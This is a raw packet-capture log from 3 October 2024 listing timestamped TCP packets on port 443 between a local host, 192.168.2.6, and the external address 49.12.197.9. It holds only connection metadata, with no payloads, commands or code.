Oct 3, 2024 03:36:02.835393906 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.835412979 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.836616039 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.870007038 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.870050907 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.870147943 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.870173931 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.870189905 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.870508909 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.873596907 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.873637915 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.873667002 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.873673916 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.873696089 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.873709917 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.875731945 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.875773907 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.875794888 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.875799894 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.875824928 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.875835896 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.879976034 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.880017996 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.880042076 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.880053043 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.880076885 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.880086899 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.883131981 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.883171082 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.883202076 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.883218050 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.883229017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.883249044 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.890063047 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.890129089 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.890161991 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.890176058 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.890188932 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.890206099 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.908858061 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.908904076 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.908946991 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.908962965 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.908987045 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.908999920 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.947557926 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.947607994 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.947658062 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.947676897 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.947706938 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.947726011 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.969208956 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.969259024 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.969320059 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.969336033 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.969358921 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.969371080 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.974031925 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974056959 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974160910 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.974173069 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974788904 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974833012 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974870920 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.974878073 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.974905968 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.974922895 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.976460934 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.976476908 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.976540089 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.976547003 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.977020025 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.977041006 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.977078915 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.977085114 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.977116108 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.977138996 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.982814074 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.982830048 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.982873917 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.982888937 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.982899904 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.982923985 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.004678965 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.004703045 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.004749060 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.004766941 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.004791021 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.004807949 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.038678885 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.038697958 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.038748026 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.038773060 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.038785934 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.038873911 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.060126066 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.060143948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.060204029 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.060230970 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.060269117 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.063805103 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.063821077 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.063885927 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.063905001 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.065596104 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.065871954 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.065886021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.065937042 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.065948009 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.066349983 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.067902088 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.067917109 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.067972898 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.067990065 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.068003893 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.068068027 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.070508957 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.070545912 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.070595980 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.070612907 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.070664883 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.091211081 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.091227055 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.091305017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.091325045 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.092634916 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.095278978 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.095314026 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.095345974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.095360041 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.095437050 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.098561049 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.130390882 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.130414963 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.130534887 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.130563974 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.130609989 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.153327942 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.153350115 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.153469086 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.153476954 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.153516054 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.158941031 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.158958912 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.159054041 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.159060955 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.159096956 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.160682917 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.160698891 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.160752058 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.160758972 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.160795927 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.164129019 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.164145947 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.164202929 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.164210081 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.164248943 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.164906025 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.164922953 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.164975882 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.164982080 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.165023088 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.189409018 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.189430952 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.189524889 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.189532995 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.189585924 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.195194006 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.195209980 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.195265055 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.195272923 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.195311069 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.222928047 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.222949982 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.223052025 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.223084927 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.223129034 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.243952036 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.243973017 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.244157076 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.244167089 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.244280100 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.249315023 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.249370098 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.249403000 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.249408960 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.249437094 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.249453068 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.251507998 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.251554966 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.251626015 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.251631021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.251719952 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.254611969 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.254663944 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.254693031 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.254703999 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.254723072 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.254739046 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.256387949 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.256441116 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.256462097 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.256473064 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.256515026 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.280159950 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.280204058 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.280227900 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.280246019 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.280266047 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.280286074 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.288821936 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.288844109 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.288888931 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.288901091 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.288933039 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.288949966 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.313401937 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.313445091 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.313472986 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.313493013 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.313517094 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.313534975 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.335679054 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.335699081 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.335757971 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.335777044 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.335809946 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.335829020 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.341311932 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.341331959 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.341384888 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.341397047 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.341438055 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.342629910 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.342650890 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.342685938 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.342694998 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.342722893 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.342737913 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.345472097 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.345535994 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.345572948 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.345582008 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.345607996 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.345624924 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.346501112 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.346519947 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.346560955 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.346570015 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.346595049 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.346610069 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.372832060 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.372854948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.372915030 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.372940063 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.372981071 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.382189035 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.382215023 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.382257938 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.382272005 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.382299900 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.382318974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.405026913 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.405052900 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.405109882 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.405137062 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.405178070 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.427129030 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.427150011 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.427187920 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.427208900 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.427234888 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.427249908 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.432374954 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.432393074 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.432460070 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.432472944 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.432518959 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.435307026 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.435329914 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.435388088 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.435395956 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.435410023 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.435427904 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.436248064 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.436265945 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.436300993 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.436307907 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.436371088 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.436371088 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.437449932 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.437470913 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.437506914 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.437515020 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.437530041 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.437555075 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.463922977 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.463943958 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.464162111 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.464169979 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.464210987 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.473292112 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.473330975 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.473398924 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.473407030 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.473444939 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.496851921 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.496908903 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.496958017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.496964931 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.496993065 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.497009993 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.517457008 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.517517090 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.517574072 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.517580032 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.517604113 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.517616987 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.529094934 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529129982 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529234886 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.529243946 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529287100 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.529839993 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529865026 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529906034 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.529910088 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.529936075 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.529953957 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.530827999 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.530857086 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:03.530913115 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:03.530919075 CEST	443	49728	49.12.197.9	192.168.2.6
